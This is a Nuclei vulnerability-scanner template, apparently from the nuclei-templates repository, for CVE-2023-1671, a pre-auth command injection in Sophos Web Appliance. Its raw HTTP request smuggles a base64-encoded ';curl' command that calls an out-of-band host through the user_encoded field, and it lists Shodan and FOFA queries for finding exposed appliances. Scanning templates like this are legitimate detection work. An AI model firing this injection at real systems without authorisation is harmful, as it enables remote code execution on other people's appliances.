nuclei-templates/http/cves/2023/CVE-2023-1671.yaml

56 lines
2.1 KiB
YAML
Raw Normal View History

2023-04-27 15:42:42 +00:00
id: CVE-2023-1671
info:
name: Sophos Web Appliance - Remote Code Execution
author: Co5mos
severity: critical
description: |
A pre-auth command injection vulnerability in the warn-proceed handler of Sophos Web Appliance older than version 4.3.10.4 allows execution of arbitrary code.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
2023-09-06 11:43:37 +00:00
remediation: |
Apply the latest security patches or updates provided by Sophos to mitigate this vulnerability.
2023-04-27 15:42:42 +00:00
reference:
- https://vulncheck.com/blog/cve-2023-1671-analysis
- https://nvd.nist.gov/vuln/detail/CVE-2023-1671
2023-07-11 19:49:27 +00:00
- http://packetstormsecurity.com/files/172016/Sophos-Web-Appliance-4.3.10.4-Command-Injection.html
- https://www.sophos.com/en-us/security-advisories/sophos-sa-20230404-swa-rce
- https://github.com/lions2012/Penetration_Testing_POC
2023-04-27 15:42:42 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-1671
cwe-id: CWE-77
epss-score: 0.96156
epss-percentile: 0.99469
2023-09-06 11:43:37 +00:00
cpe: cpe:2.3:a:sophos:web_appliance:*:*:*:*:*:*:*:*
2023-04-27 15:42:42 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:43:37 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: sophos
product: web_appliance
2023-09-06 11:43:37 +00:00
shodan-query: title:"Sophos Web Appliance"
fofa-query: title="Sophos Web Appliance"
2024-01-14 09:21:50 +00:00
tags: cve2023,cve,packetstorm,rce,sophos,oast,kev
2023-04-27 15:42:42 +00:00
2023-04-27 17:13:18 +00:00
http:
2023-04-27 15:42:42 +00:00
- raw:
- |
POST /index.php?c=blocked&action=continue HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2023-04-27 17:13:18 +00:00
args_reason=filetypewarn&url={{randstr}}&filetype={{randstr}}&user={{randstr}}&user_encoded={{base64("\';curl http://{{interactsh-url}} #")}}
2023-04-27 15:42:42 +00:00
2023-06-09 12:24:34 +00:00
matchers-condition: and
2023-04-27 15:42:42 +00:00
matchers:
- type: word
part: interactsh_protocol
words:
2023-04-27 17:13:18 +00:00
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: curl"
# digest: 4a0a00473045022100ae0e465ec75fd0a4861424e3aad7f02640cf6221038527efafe82c6742e6737002206c97e80f7b304f7c6b2617847d8a6c3bc6133ac27161b8921c0781f00317ca0d:922c64590222798bb761d5b6d8e72950